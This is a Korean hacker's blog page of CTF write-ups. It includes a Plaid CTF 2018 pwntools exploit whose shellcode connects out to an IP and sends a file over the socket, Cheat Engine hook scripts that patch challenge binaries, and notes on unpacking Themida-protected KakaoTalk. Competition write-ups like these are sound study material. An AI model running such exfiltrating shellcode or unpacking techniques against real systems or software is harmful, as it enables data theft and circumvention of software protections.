Hacking: 15개의 글

[Plaid CTF 2018] Wait Wait... Don't Shell Me

Posted by push0ebp
2018. 5. 7. 02:02 Hacking/CTF

close 로 fd를 다 닫았을때

reverse tcp로 연결

open sednfile로

read write 최적화 가능


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
context.arch = 'amd64'
 
 
CODES = '''b8 __ __ __ __ bf __ __ __ __ be __ __ __ __ ba 
__ __ __ __ 01 c7 29 fe 21 f2 0f 05 48 b8 __ __ 
__ __ __ __ __ __ 50 b8 __ __ __ __ ba __ __ __ 
__ bf __ __ __ __ 48 89 __ 0f 05 be __ __ __ __ 
bf __ __ __ __ ba __ __ __ __ 83 c0 __ 0f 05 89 
__ b8 __ __ __ __ bf __ __ __ __ 41 ba __ __ __ 
__ 0f 05 58'''.replace(' ','').replace('\n','').replace('__','cc').decode('hex')
    
#print disasm(CODES.replace('\xcc','\x90'),offset=False, byte=False)
 
def assemble(code):
    codes = asm(code)
    print disasm(codes)
    print len(codes), len(CODES)
    assert len(codes) == len(CODES)
    byte = []
    for i in xrange(len(codes)):
        if CODES[i] != '\xcc':
            assert CODES[i] == codes[i]
        else:
            byte.append(ord(codes[i]))
    return byte
 
 
 
 
#for x in xrange(0, 0x100000, 0x100):
= 0
if 1:
    try:
        r =  remote('wwdsm.chal.pwning.xxx',6615, level='error')
 
        print r.recv()
 
 
 
        code = '''
        mov    eax, SYS_socket 
        mov    edi, -SYS_socket+2 
        mov    esi, 3 
        mov    edx, 0
        add    edi,eax
        sub    esi,edi
        and    edx,esi
        syscall
        movabs rax,0x864add12d2040002 /*ip port AF_INET*/
        push   rax
        mov    eax,SYS_connect
        mov    edx,0x10
        mov    edi,0
        mov    rsi,rsp
        syscall
        mov    esi,0
        mov    edi,0x400cb8+{}
        mov    edx,0
        add    eax,SYS_open
        syscall
        mov    esi, eax
        mov    eax, SYS_sendfile
        mov    edi,0
        mov    r10d,0x999
        syscall
        pop    rax
        '''.format(x)
 
        p = assemble(code)
 
        p = '\n'.join(map(lambda x: '%02x'%x,p))
 
        r.sendline(p)
        print r.recv()
        print r.recvuntil('won!\n')
        print 0
        #r.sendline('asdf')
        print r.recv()
        print r.recv()
        print r.recv()
        print r.recv()
    except KeyboardInterrupt:
        pass
    except Exception as e:
        print e
    finally:
        print x
 
cs


'Hacking > CTF' 카테고리의 다른 글

[TrendMicro CTF 2017] Writeup - Reversing 400 ScreenKeyPad  (1) 2017.06.26
2016 디미고 KDMHS CTF  (0) 2016.05.25
세종대 SSG CTF 2016 write up  (1) 2016.04.06
Codegate 2016 Junior Write up  (0) 2016.04.04
inc0gnito 2015 Write up  (0) 2015.08.25

[TrendMicro CTF 2017] Writeup - Reversing 400 ScreenKeyPad

Posted by push0ebp
2017. 6. 26. 00:12 Hacking/CTF

주어진 바이너리를 실행하면 이런 폼이 뜬다.

델파이로 개발되어있는데 한때 나도 델파이 개발을 한 적이 있어 친근했다.


먼저 알아야 할 것은 VMProtect로 패킹되어 있는데다가 Virtualization이 있어 버튼 클릭 이벤트와 FormActivate 코드 내부는 분석 할 수가 없다. 뭔가 꼼수를 요구하는 것 같다.


시간이 지날때마다 버튼의 배치가 바뀐다.

저 progress 가 41216 까지 도달하면 될 것 같아 시간을 패치해서 끝까지 올려보았지만 아무일도 없었다.

멘붕에 빠지던 중 종료 1시간전에 팀원이 마우스 좌표가 바뀌는 대로 Hex로 보면 7z이 나온다고 하였다. 결국 대회 끝나고 밥먹고 와서 풀었다 ㅠ

다시 확인해 보았지만 내 가상머신에서는 마우스가 이동되지 않아 다른 컴퓨터로 확인해 본 결과 마우스가 이동되어 버튼에 올려지는 것을 알 수 있었다.


이제 이 마우스가 가리키는 버튼의 Caption대로 어떻게 데이터를 추출 할 것인지가 문제인데 나는. 코드를 패치 하기로 하였다.

DLL을 인젝션 하고 싶었지만 x64 process 라 후킹이 쉽지 않기 때문에 코드를 패치 하기로 결정 하였다.


패치를 한다고는 했는데


1. 어딜 해야하며

2. 좌표는 어떻게 얻고

3. 그 많은 버튼 중에 어떤 버튼을 가르키고 있는지

4. 캡션의 내용은 무엇인지

5. 그 많은 데이터를 언제 다 추출 할지

어떻게 알까?


마우스 좌표를 이동한다면 흔히 mouse_event나 SetCursorPos 를 쓸텐데 디버깅 결과 mouse_event는 Access하지 않았고 SetCursorPos(SetPhysicalCursorPos)를 사용 하고 있었다.

SetCursorPos 의 원형은 이렇다

int SetCursorPos(int x, int y)

rcx에 x좌표 rdx의 y좌표 를 인자로 전달해 주어야 한다.


마우스를 움직일때마다 접근을 하고 좌표도 알 수 있으니 이곳을 Hook 하면 될 것 같다.


1. 어딜 패치 해야하며 -> 해결
2. 그 많은 버튼 중에 어떤 버튼을 가르키고 있는지

3. 버튼 좌표는 어떻게 얻고

4. 버튼의 내용은 무엇인지


008E1D60에서 Button Object의 Table 을 발견했다.



버튼은 총 16개로 순서대로 16개가 enumerate 되어 있어 버튼의 Caption은 index로 알아낼수 있다.


1. 어딜 패치 해야하며
2. 그 많은 버튼 중에 어떤 버튼을 가르키고 있는지

3. 버튼 좌표는 어떻게 얻고

4. 버튼의 내용은 무엇인지 -> 해결

5. 그 많은 데이터를 언제 다 추출 할지




이 중 첫번째 Object를 살펴 보았다. 그런데 빨간 부분을 보니 버튼의 Left, Top property 즉 x, y 좌표가 들어 있었다. 

Offset 은 +0x80 : x +0x84 : y 로 나타낼 수 있다.


1. 어딜 패치 해야하며
2. 그 많은 버튼 중에 어떤 버튼을 가르키고 있는지

3. 버튼 좌표는 어떻게 얻고 -> 해결

4. 버튼의 내용은 무엇인지

5. 그 많은 데이터를 언제 다 추출 할지


필요한 정보는 다 구했다. 이제 마우스가 버튼을 가르키고 있는지 체크만 하면 된다.

마우스 x 좌표 - 버튼 Left < 버튼 Width

마우스 y 좌표 - 버튼 Top < 버튼 Height

라면 버튼 위에 마우스를 올려놓은 상태 일 것이다.

하지만 마우스 x 좌표는 화면 상의 좌표일뿐 바이너리 폼상의 좌표가 아니다.

절대 좌표를 상대 좌표로 변환해 주어야 한다.


(마우스 x 좌표 - 폼 client x 좌표) - 버튼 Left < 버튼 Width

(마우스 y 좌표 - 폼 client y 좌표) - 버튼 Top < 버튼 Height


이제 저 Button Table 로 모든 버튼의 left, top을 체크하여 무슨 버튼 위에 마우스를 올릴 것인지 알아내기로 한다.


1. 어딜 패치 해야하며
2. 그 많은 버튼 중에 어떤 버튼을 가르키고 있는지 -> 해결

3. 버튼 좌표는 어떻게 얻고

4. 버튼의 내용은 무엇인지

5. 그 많은 데이터를 언제 다 추출 할지


이제 후킹 코드만 작성 하면 된다.

나는 Cheat Engine을 이용하여 Script 를 작성했다.


후킹한 모습.


alloc(newmem,2048,USER32.SetCursorPos)

globalalloc(z,412200)
alloc(z_i,4)
label(returnhere)
label(originalcode)
label(exit)
label(end)
label(loop)
label(loop_end)
label(end)
z_i:
dd 0

newmem: //this is allocated memory, you have read,write,execute access
//place your code here
push rdi
push rsi
push rbx //count
push rcx
push rdx
push r8 //btn left
push r9 //btn top
push r10
push r11
sub rcx, #112 //****form client x coord abs -> rel
sub rdx, #135 //****form client y coord abs -> rel
mov rbx, 0
mov rsi, 008E1D60 //button table start
loop:
mov rdi, [rsi] //get button object
mov r8, dword ptr [rdi+80] //left
and r8, ffff
mov r9, dword ptr [rdi+84] //top
and r9, ffff
mov r10, rcx
sub r10, r8 //x offset
cmp r10, #25
jnbe loop_end
mov r11, rdx
sub r11, r9 //y offset
cmp r11, #25
jnbe loop_end
mov rcx, z
mov rdx, [z_i]
add rcx, rdx
mov byte ptr [rcx], bl
add [z_i], 1
jmp end
loop_end:
add rbx, 1
add rsi, 8
cmp rsi,008E1DE0 //button table end
jne loop
end:
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rbx
pop rsi
pop rdi
originalcode:
movsxd  rdx,edx
mov r8d,00000093

exit:
jmp returnhere

USER32.SetCursorPos:
jmp newmem
nop
nop
nop
nop
returnhere:


sub rcx, #112 //****form client x coord abs -> rel
sub rdx, #135 //****form client y coord abs -> rel

이 부분은 상대좌표로 변환하는 부분이니 실행할 때마다 항상 수정해 주어야한다.


데이터 추출은 됐지만 속도가 너무 느리다.

KERNELBASE.SleepEx를 호출 하는데 가볍게 ret으로 패치해주면 빨라진다.


1. 어딜 패치 해야하며
2. 그 많은 버튼 중에 어떤 버튼을 가르키고 있는지

3. 버튼 좌표는 어떻게 얻고

4. 버튼의 내용은 무엇인지

5. 그 많은 데이터를 언제 다 추출 할지 -> 해결


실행하고 기다리면


이렇게 데이터가 추출되어 있다.

37   7A BC AF 27    7z ....


압축을 풀면 stub.exe 가 나오는데 간단한 xor ror 연산이니 이 부분은 생략




**추가

Offensive 200

분석하기 귀찮아서 패치로 풀었는데 스크립트 첨부. 패치하고 기다리면 flag.txt가 알아서 생성된다.


alloc(newmem1,2048)
label(returnhere1)
label(originalcode1)
label(exit1)

newmem1: //this is allocated memory, you have read,write,execute access
//place your code here
mov ebx,[00403009]
test ebx,ebx
jne originalcode1
jmp 00401030
originalcode1:
cmp ebx, [x]
jg 00401030
exit1:
jmp returnhere1

"cracktheflag.exe"+101E:
jmp newmem1
nop
returnhere1:


alloc(newmem,2048)
label(returnhere)
label(originalcode)
label(exit)

globalalloc(x,4)
x:
dd #100000



newmem: //this is allocated memory, you have read,write,execute access
//place your code here
mov [403005], 0
push #10
push 0040301B
push [x]
call msvcrt.itoa
add esp, c
mov eax, [x]
add eax,1
or eax, 1
mov [x], eax
originalcode:
push 0040301B

exit:
jmp returnhere

"cracktheflag.exe"+1071:
jmp newmem
returnhere:

00401195:
jmp 00401071


'Hacking > CTF' 카테고리의 다른 글

[Plaid CTF 2018] Wait Wait... Don't Shell Me  (0) 2018.05.07
2016 디미고 KDMHS CTF  (0) 2016.05.25
세종대 SSG CTF 2016 write up  (1) 2016.04.06
Codegate 2016 Junior Write up  (0) 2016.04.04
inc0gnito 2015 Write up  (0) 2015.08.25

2016 디미고 KDMHS CTF

Posted by push0ebp
2016. 5. 25. 22:08 Hacking/CTF

5위_이시훈.pdf


세종대 SSG CTF 2016 write up

Posted by push0ebp
2016. 4. 6. 00:00 Hacking/CTF

3위_rop가뭔가요.pdf


'Hacking > CTF' 카테고리의 다른 글

[TrendMicro CTF 2017] Writeup - Reversing 400 ScreenKeyPad  (1) 2017.06.26
2016 디미고 KDMHS CTF  (0) 2016.05.25
Codegate 2016 Junior Write up  (0) 2016.04.04
inc0gnito 2015 Write up  (0) 2015.08.25
순천향대 YISF 2015 예선 Write up  (0) 2015.08.12

Codegate 2016 Junior Write up

Posted by push0ebp
2016. 4. 4. 01:54 Hacking/CTF


4위_공부하다쉬러온수험생.pdf


작년 10월 이후 해킹 공부를 하나도 안해서 가벼운 마음으로 풀었는데 예상외로 결과가 잘나왔다.

전날에 기억 살릴겸 포너블 조금 해봤지만 오랜만에 해서 그런지 감각이 떨어진걸 절감했다. ㅠㅠ

그래서 이번 포너블은 아예 건드리지도 않았다. 고득점 하나 풀고 꿀빤 케이스.. (repe scasb 만세)

쉘코드 짜는거나 어셈 코딩하는 문제 좋아했는데 cemu 재밌었습니다.






'Hacking > CTF' 카테고리의 다른 글

2016 디미고 KDMHS CTF  (0) 2016.05.25
세종대 SSG CTF 2016 write up  (1) 2016.04.06
inc0gnito 2015 Write up  (0) 2015.08.25
순천향대 YISF 2015 예선 Write up  (0) 2015.08.12
[YISF 2014] Binary 400(Window Kernel) Write up +100~300  (0) 2015.07.24

[Themida] Unpacking for Static Analysis (KaKaoTalk)

Posted by push0ebp
2015. 9. 28. 02:54 Hacking/Reversing

평소에 더미다 패킹걸린 프로그램들은 동적으로만 분석했었는데 너무 번거로워서 정적 분석이 필요했다.

하지만 IDA는 쓰질 못하고 ㅜㅜ Dump 해도 API가 보이지 않아 무용지물이였다.


검색하면서 언패킹에 대해 대충 익힌후 Manual UnPacking을 해보았다. MUP라고 해야하나.. ?

처음이여서 많이 서투르다. 그래서 완벽하진 않다. 그저 정적 분석을 하기 위함이다.


1. Find OEP

2. Fix API Calls

3. Dump

4. Fix IAT

순으로 진행했다.


처음에는 언패킹 중에서 OEP찾는게 제일 어려운줄알았는데 의외로 OEP는 쉽게 찾았다.

하지만 2. Fix API Calls가 문제중에 제일 큰 문제였다.


타겟은 카카오톡 PC 이다.

그래프뷰는 잘나오고


API도 잘보인다


xref 도 잘된다.



hex ray decompile도 잘된다.


문제점.

- Not Runable 실행 할 수 없다. for Static Analysis 그저 정적 분석용이다.

-> 내가 타겟을 코딩해서 직접 Themida로 Packing한 후 다시 Unpacking을 해보았는데. 정상적으로 실행이 되었다.

            패킹된 프로그램의 코드에 따라 다른것 같다. 코드가 많을수록 Runable 확률은 떨어지고 가볍고 간단한 코드의 프로그램일 수록 Runable 하다.

- API가  Fix되지 않은곳이 종종 있다.

-> 리다이렉션이 Direct Call만 있는 것이 아니라 다른 영역으로 점프한후 다시 API로 점프하는 것들이 있다. 이런 코드들은 Fix되지 않았다.

(ex. call MSVCR120D.printf (o) call 04001234 -> call MSVCR120D.printf (x))

-> Fix 툴을 내가 직접 제작 하는게 편할 것 같다. (만만친 않겠지만 ㅎ)


inc0gnito 2015 Write up

Posted by push0ebp
2015. 8. 25. 23:32 Hacking/CTF



1위 dcua -4279p
2위 Cykor - 4138p
3위 염소가죽 - 3616p
4위 avi.cii - 3305p
5위 HelloWorld - 2805p


inc0gnito 2015 Writeup_Hello World.pdf





'Hacking > CTF' 카테고리의 다른 글

세종대 SSG CTF 2016 write up  (1) 2016.04.06
Codegate 2016 Junior Write up  (0) 2016.04.04
순천향대 YISF 2015 예선 Write up  (0) 2015.08.12
[YISF 2014] Binary 400(Window Kernel) Write up +100~300  (0) 2015.07.24
2015 HUST Write up  (0) 2015.05.24

순천향대 YISF 2015 예선 Write up

Posted by push0ebp
2015. 8. 12. 17:41 Hacking/CTF


2015_YISF_문제풀이보고서.pdf


심각하다. MISC50빼고 바이너리 문제만 풀었다.

에필로그


실행후 미리 키를 메모리에 담기 때문에 키자마자 검색하면 나온다



'Hacking > CTF' 카테고리의 다른 글

Codegate 2016 Junior Write up  (0) 2016.04.04
inc0gnito 2015 Write up  (0) 2015.08.25
[YISF 2014] Binary 400(Window Kernel) Write up +100~300  (0) 2015.07.24
2015 HUST Write up  (0) 2015.05.24
[CodeGate 2013] End Of World - The Final Bin 500 풀이  (1) 2015.01.27

[YISF 2014] Binary 400(Window Kernel) Write up +100~300

Posted by push0ebp
2015. 7. 24. 00:31 Hacking/CTF

2015 순천향대 YISF가 얼마 남지 않았네요.

푼지 오래 된거지만 파일 공유겸 좋은 성적 거두시라고 풀이 써봤습니다.


400.sys


BINARY.zip

100~300 Write up


Hint


Solve


Key


파일은 문제가 된다면 삭제하겠습니다.


좋은 결과 있으시길 바랍니다.


2015 HUST Write up

Posted by push0ebp
2015. 5. 24. 19:12 Hacking/CTF


HUST 2015.pdf


code_snippet


1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
 
char buf[] = "\x0A\x46\x3B\xB0\x1A\x7D\xC1\x5F\xA6\xF0\xC9\x8A\x22\xE0\xF4\xD2\xB7\x96\xEA\x81\x52\xE7\x08\xF5\xBF\xA8\x6A\x9C\x95\x0C\xD9\x97\x7F\xE3\x6A\x2F\x27\xE2\x7C\x41\x06\xDF\xB5\xF3\x4A\xFC\xBF\xD8\x9D\x38\x3C\xAC\x4D\xC0\xCE\x12\xFA\xAE\xBF\x93\xD4\x98\xA0\x50\x26\x3D\x96\x9A\x06\x74\x3E\x82\xE8\xE2\xF2\x81\x6A\x76\x83\x56\x10\xDA\x5D\xBF\xFF\xCE\x48\xC4\xE1\x9D\x26\x12\x81\x72\x9A\x53\x09\xFD\x34\x5C\x03\x4C\x71\x8B\xBB\x19\xBA\x85\x5F\xBF\x26\xF7\xCD\x12\xC5\x19\x6A\xA9\xC9\x6E\x4D\x3C\xFC\x1C\x7F\xA2\x81\xA6\x6A\xEB\x4B\x55\x88\x88\x21\xF5\xB6\xED\x07\xFD\x7A\x1B\x78\x5F\x6F\xDC\x47\xF1\xC3\xAB\x73\x21\xE0\x66\x25\xBA\x24\x87\xCE\x34\xEC\x94\xCC\xE3\x16\xEF\x89\x2A\xA7\x45\xDC\x4F\x8F\xE4\x12\x1C\xB0\xDB\x6E\xFF\xBD\x27\xFF\x83\xF4\x16\x05\x58\x47\x09\x4C\x82\xCF\xC7\xD8\x83\xB4\xD0\x62\x99\x63\xEF\x37\x59\xE7\xAC\xB3\x0C\xDE\x88\x8D\xB6\x58\xE0\xA5\x36\x79\xD1\xBC\x74\x24\x9D\xCA\x96\x23\x08\x86\x6F\x5F\xF7\xEE\xEA\xED\x72\x84\x41\x8F\xC8\xD3\x75\x8D\x1E\x19\xA9\x02\x7A\x4A\x58\xB3\x79\x22\x80\x27\x3C\xAD\xD7\xCC\xC8\x08\xBD\x45\xAA\x2E\xAA\x90\xC6\x09\xA4\xA7\xF5\x54\x3B\xEE\x22\x4D\x07\xC0\x82\xE3\xE4\xCD\xE8\x06\x2A\xA4\xEC\x99\x0D\xD9\xCD\xE9\x44\xEA\xCD\xBD\xF5\xD3\xB0\x78\x45\xC3\xDA\xC5\xD1\x03\x19\x09\x39\xDA\x79\xC6\x43\x12\x52\x24\xF7\x12\x0F\x0A\x28\xC1\x08\xCE\x47\x08\xA1\x1E\x4A\x88\x01\x50\xDE\x89\x51\x94\xDC\x47\xD6\x3D\x0B\xD8\x6E\x3B\x26\x62\xF6\xB7\x3E\x9F\x41\x06\xC5\xE5\x98\x95\xA6\xE6\xF3\x19\x3C\x3E\x0A\x16\x77\x02\x70\xD0\xC6\x5D\x48\x9F\x30\x05\xCA\x8B\x3D\xB1\xAD\x86\xE3\x9F\x87\x17\x4F\xF5\xDA\x44\xBE\x28\x1E\xBA\x01\x58\x07\xB4\x9C\x4D\xF0\xF0\xF1\xC2\xBE\x6F\xFA\x4C\x2C\x86\xD7\x5C\x6C\x59\xD2\xC3\xDE\x70\xC0\x8E\x4D\xDB\x0E\x2C\x44\xC7\x50\x2F\x1D\xA3\x4C\xFF\x15\x92\x7C\x06\x5D\xE5\xC5\x75\x2B\x4C\xED\xCE\x36\x27\x47\xA2\x16\x85\xB0\x40\x7E\x85\x1A\x34\x79\x3B\x57\x70\x76\xE0\x88\x46\x96\xBB\x2B\xC4\x09\x01\xB8\xC9\x3F\x0E\xA5\x9E\x96\x50\xE1\x67\xD9\xA7\x02\x15\x80\xC5\x57\x32\x34\xCA\x5A\x55\x41\x39\x5D\x8D\xD4\xA2\x32\x8B\x4F\xB8\x03\x95\xD3\xCA\xAE\x5C\xB9\x37\x2D\x7A\x75\xCC\xFE\x5F\xA5\xF7\x82\x69\x2A\xC0\x1B\x66\xCD\x53\x6E\x23\x88\x48\xC3\x53\x17\x0E\x50\xEF\xF0\x97\xC0\xAB\x11\x96\xC0\x62\x12\xF9\x50\x0F\x75\xA0\xB4\x59\x34\x4B\x60\x9F\xA3\x5C\x14\x3E\x11\xA3\x7C\x5A\x4A\xCB\xB4\x66\xFF\x50\x33\xC5\x22\x2C\xBE\xAD\xC2\xBB\xAF\x03\x82\x41\x09\xD4\x39\xBD\x75\xD2\x90\x4D\xC1\x7B\xE7\x26\x7C\x68\x3B\xB8\xAB\x06\xD7\xAA\xD3\x8A\xD4\xAD\x5C\xD4\xFB\x54\x5E\x8B\x01\xFD\xE1\x68\xC3\xAD\x8E\xBC\x36\xA4\x83\x64\x79\xB6\xD9\xDA\x76\x4B\xC9\x69\xF1\xF2\x27\x1E\xFD\x99\x7E\xD7\x02\x34\x74\x5A\x4A\xA1\x2C\x37\x0E\xE6\xC8\xF8\x2B\xA5\x8D\xB1\x11\x25\x61\x68\x09\x31\xF1\x59\xC2\x1E\xCC\x38\xA8\xC9\xE0\xFC\x39\xB0\xC2\x97\xDB\x82\xA7\xD9\x1D\x27\x73\x9E\xDA\xDE\xC2\x67\xCD\xF4\x3A\x14\xA4\x59\x7A\x88\xBE\xCE\x07\x4E\xB4\xF8\x6F\x4A\x84\x97\x78\x59\x14\x98\xDC\x86\x26\xA9\xFC\x23\x02\x81\xEE\xD6\x04\x83\x23\x9B\x72\x4B\xAA\x13\xE8\xF5\xB1\xB2\xA9\x35\xAC\xD9\x20\xD2\x43\x68\x72\xBB\x03\x9E\x2B\x4B\xA8\x4B\x3E\xAC\xC2\xEC\x72\x9B\x3A\x1A\x41\x96\xD0\x0F\x62\x69\xA8\x4A\x13\xE6\x29\x79\x80\xF7\xB9\xB1\xAF\xB8\x74\xD3\xC9\x5A\x3F\x25\x70\x92\x79\xE3\x0F\x71\xB9\xA1\x40\xEC\x0F\x73\x59\xE1\xE9\x98\xD7\xEB\xAD\x17\xAD\x0D\x62\x12\xEB\x4F\x0E\xDB\xD6\x29\x91\x07\x78\xF7\x72\x87\x6C\x18\x3F\xF5\x8C\xB5\x92\xE0\x2A\x77\xFD\x60\x68\xE6\x5A\x91\x24\x85\xBE\xB8\x13\x35\x4A\xB8\x29\x27\x9C\xBF\xAF\xDA\x0A\x33\xCA\xC9\x01\x8A\xA1\xE5\xEB\x58\x09\x54\xE2\x0E\x07\xB0\xC7\xFC\x37\x5C\x32\xC3\x78\x1D\xEC\xF2\x8E\x8D\xF7\x43\x9F\xFF\x0F\x13\x3A\xEA\xAA\x0D\x1E\x95\x8B\xE4\x29\xF3\x1D\xA9\xBD\x94\x4D\x2A\xA2\xB5\x2D\xEB\x0A\x21\x49\x6E\xAB\xBA\x32\x27\x7C\x65\x13\x14\xCB\xEA\x79\x8A\x18\x15\x21\xCA\x11\x94\x7F\x47\xA5\x9B\x3C\x0D\x33\x5E\x83\xF5\x44\x70\xBF\x7D\x3D\xAC\xC9\x82\x27\x20\xD7\xF7\xFD\xD6\x5C\xB4\x63\xAA\x23\x05\x73\x8A\xC3\x86\xFE\xE7\xAD\xE9\xA0\x75\x77\xFA\x16\xE0\x24\x31\x12\xC5\xFB\x0D\x1D\x3B\xC6\x65\xC2\x19\x64\x24\xFB\xB3\x5D\x69\x48\xBE\x78\x7A\x75\x7E\x35\x78\xA6\xDA\x3B\x49\x90\xC8\xFC\x30\xBD\xBF\x2D\x90\x49\x7C\x7B\xFA\xD7\x6F\x7C\x8A\x73\xA9\x22\x00\xE6\xFC\x56\x02\x7C\xE8\x1A\xE4\x69\x77\x60\x80\x78\xA5\xED\xCE\x94\x4F\x17\x7F\xFF\x05\x61\x0B\xDE\x10\xB4\x60\xB5\x35\x14\xDE\x29\xEC\x41\xE1\xB3\xA1\x4C\x96\xED\x56\x8A\xD7\x36\x88\x3B\x24\x39\xE7\x69\x1B\xAF\x7F\xE6\x2D\x0A\x10\x6F\xEF\xB2\x04\xD8\x11\xC9\xCF\x9C\xBC\x92\x9B\x54\x0E\x8E\x63\x94\x52\xCC\xE4\x1F\x04\xC7\xCF\xDD\x63\xB7\xCF\xB5\x60\xEC\xB9\x89\x84\x47\x7D\xF9\xBE\xE8\xF6\x20\x89\xD3\x0C\xA1\x25\x70\xC9\x42\xDD\x9F\x04\xA0\x4B\xB1\xCE\xFB\xF7\xD7\x48\xF5\x9C\x8B\x92\x0F\xCC\x51\x89\xCA\x8A\x4C\xD9\x0E\x72\x7C\x36\x3B\xA0\x77\x3B\xC4\x8B\x94\x91\x17\x6C\x77\x83\xF2\x58\x90\x1A\x51\xB4\xF4\x6A\xAE\x7E\xFB\xAB\xC5\x54\x21\x37\x72\x73\x56\x06\x41\x00\xBF\x92\x96\x76\xC1\x7D\x60\x0D\x62\x98\x86\xFA\x31\xB3\x1C\xFE\x0B\xCB\x3C\xB4\x9C\xEE\x82\x7D\xF5\xC3\x25\xA5\x64\xFA\xEC\xAF\xF4\x4F\x66\xF8\x77\x6D\xAF\x92\xCF\x0D\xD1\x2E\x30\x60\x00\x99\x57\x54\x4A\x79\x0A\x88\x23\xFB\xAF\xA5\xEB\x01\x75\x40\x0F\x9C\xA3\xE2\x05\x58\x49\x19\xBF\xB2\x58\x65\x24\x76\x42\x7E\xEA\x3C\x54\xBE\xD6\x6F\x96\x1D\xF5\x36\xBE\xC1\x2B\x37\xF7\x31\xF1\xF1\x73\x9F\x22\xDB\x2D\x0D\x5F\xF8\xB4\xBD\x11\x44\x42\x04\x90\x74\x09\x67\x30\xAC\x47\xD4\x79\xC2\x32\x56\xC4\xB7\x37\x41\xBC\xB2\x2C\x09\xBB\xEF\xAA\xB9\xD8\xB2\xDA\x3B\x5B\xB8\x9B\x05\x06\xDA\xF1\xDA\xD3\x59\x6E\x77\x76\x47\x3A\xC9\xEE\x09\xD2\x2C\xFA\x38\x16\x05\x3C\x03\x95\xE6\x98\x8B\x4B\x5A\x9A\xC9\xBA\x3D\x56\x9F\x25\x61\xF8\x0C\x26\x32\xED\xC8\x47\x43\x66\xC4\x59\x50\x74\x5E\xB1\xB2\x5C\xB7\xCC\x26\x83\x80\x74\x25\x25\x68\x2E\x2F\xCD\xB3\xBD\x79\xC5\x29\x6B\x70\x9E\x22\x32\xDD\xCE\x28\x0F\xB6\x49\x47\x12\x69\x8D\xC8\x67\x46\x09\xD9\xEC\x43\x9C\xF8\x15\xAA\xD6\x27\xE8\x71\xC4\x07\x38\x18\xB0\x37\xC0\xB4\x28\x89\xF1\x09\x73\x1A\xB0\x1C\x1B\xA8\xD0\x45\x33\x35\x5A\x0A\xC9\x54\x01\x58\x8A\x2F\xF8\x74\x28\x27\xCF\xB8\x95\x42\x1C\xBA\x80\x76\xB0\x89\xFB\x96\x44\x3F\xC7\x34\x11\x9B\xD8\x66\x95\xCC\x84\xDA\xD7\x11\xBE\xCD\xC4\x69\x2D\xB4\x61\xAC\xF2\xD2\x08\x42\x4C\xC1\xF4\x52\x11\xC7\xA3\xFE\x6B\xF1\x04\x72\xDD\xAB\x8A\x77\x8D\x32\x19\xE5\x6C\xC2\xC6\xC4\x3B\xC1\x02\x8C\x39\x67\x98\xF8\x0B\x9D\x3C\xB0\x32\x40\x56\x9E\xF4\x6B\x18\x8D\xDD\x39\x3F\x72\xB6\x00\x89\xA9\x1E\xFB\x15\x4F\x3D\xA5\xC9\x9E\xDF\x2F\xEF\x14\xCA\xDF\x31\x05\x02\x34\x7E\x46\x07\xF4\x54\xAD\x76\x75\x0D\xB6\xFE\xB5\x42\x90\x2D\x10\xAD\x8F\x6A\x9D\x91\x56\x2F\x19\xBE\x8D\x38\xE8\xBE\x32\x5D\x7F\x4F\x1B\x03\xDC\xFE\x42\x42\x16\xC5\x57\x5B\x99\x5A\xF8\xEC\x80\x44\xB4\xAC\x35\x3D\xC9\x81\x04\x98\xDC\xB5\x7C\x82\xCD\xDC\x73\x45\xCB\xF8\x02\xDF\x0B\x9B\xAF\x56\x5F\x8D\xCC\x72\xA4\x65\x05\x28\x4B\x58\x63\xBE\x9F\x81\xFC\x8F\x9F\xA2\x78\x38\x25\x46\xD3\x02\xAE\x6A\x7E\x70\xC5\x0F\xB1\x67\xB5\x6A\xD7\xDE\x3B\xFA\xF2\xB6\xC9\x08\xD0\x29\x8B\xB3\xA6\xC3\x3E\xF5\xB7\x16\xCC\x58\xA3\x9F\x94\xBD\x0E\x86\xFE\x0A\xC8\x72\x14\xB2\x2A\x67\x4E\x65\x16\x56\x6B\x62\x91\x42\x1D\x74\x1F\x47\xC9\xE7\x4B\xE3\x80\xDC\x74\x1F\xF7\xBF\xAB\xE3\x1B\xFE\xEA\x2C\x1C\x09\x10\x37\xDC\x8A\xDB\x5D\xBF\x01\x73\x50\x44\x1F\x91\x3E\xB7\x27\xA6\xBA\x52\x90\x7E\x1C\x7A\xA1\xB6\xEF\xBB\xA1\x09\x19\x25\x49\x11\xFE\x30\xD9\x3C\x7D\x8E\x0F\xCC\x82\x09\x9B\xA6\x9E\xF0\xE1\xDB\xB2\x7F\xF8\x62\x17\x06\x77\x4D\x4C\x4A\xF7\x5D\x9B\xDD\x59\x72\x3C\xAB\xEF\xE0\x71\x79\x8E\x1C\x39\xBA\x1C\x31\xB3\xF0\xFA\x8F\x8B\x0D\x81\x34\x6B\x0D\x28\xB0\x8C\x64\xF1\x99\xEE\x6A\x2A\x83\x93\xE2\xC1\x1E\x98\x00\x80\x49\xA6\x76\xD6\x70\x29\xAA\x05\xE8\x31\x10\xAA\x16\x85\xB4\xA2\x9A\x9E\xC5\x4C\x64\x82\xF6\xE1\x21\xE1\x41\x27\x74\x8D\xF3\xE4\x63\x35\x20\x3B\x6F\x08\xF8\x3F\x82\x86\x97\xCE\x27\xCD\xB8\x24\x42\xD8\x97\x1F\xE8\xAC\x4D\x80\xB7\xA0\xE6\x0F\x62\xC5\x98\x11\xA1\xAD\xAC\xFF\xF0\x8A\x56\xB5\xB2\x87\x6F\x14\x55\x17\x8F\xE2\xEF\xDD\x3E\xF9\x3A\xA8\x36\xAC\xE9\x43\x1B\x2F\xF8\x56\x80\x04\xA7\x1E\xB4\x57\xB1\x3D\x66\x2E\xBD\x86\xED\xEE\x2C\x53\x0B\x55\xA4\x02\xB8\x0A\x91\x1A\xF6\xF6\x0D\xBB\xEA\x65\xE0\x04\xF1\xD3\x52\x66\xAE\xB9\xA1\x3C\x9F\xA2\x5B\xC1\x8A\xA2\xBC\xFF\xC5\x3B\x65\x9F\x14\xE6\xE6\x32\x07\x94\x98\x77\x21\xD1\xC1\x51\x2E\x2E\x93\x8C\xE5\x58\x1D\xB5\xE5\x23\x98\xF5\x3B\xC2\x07\x2C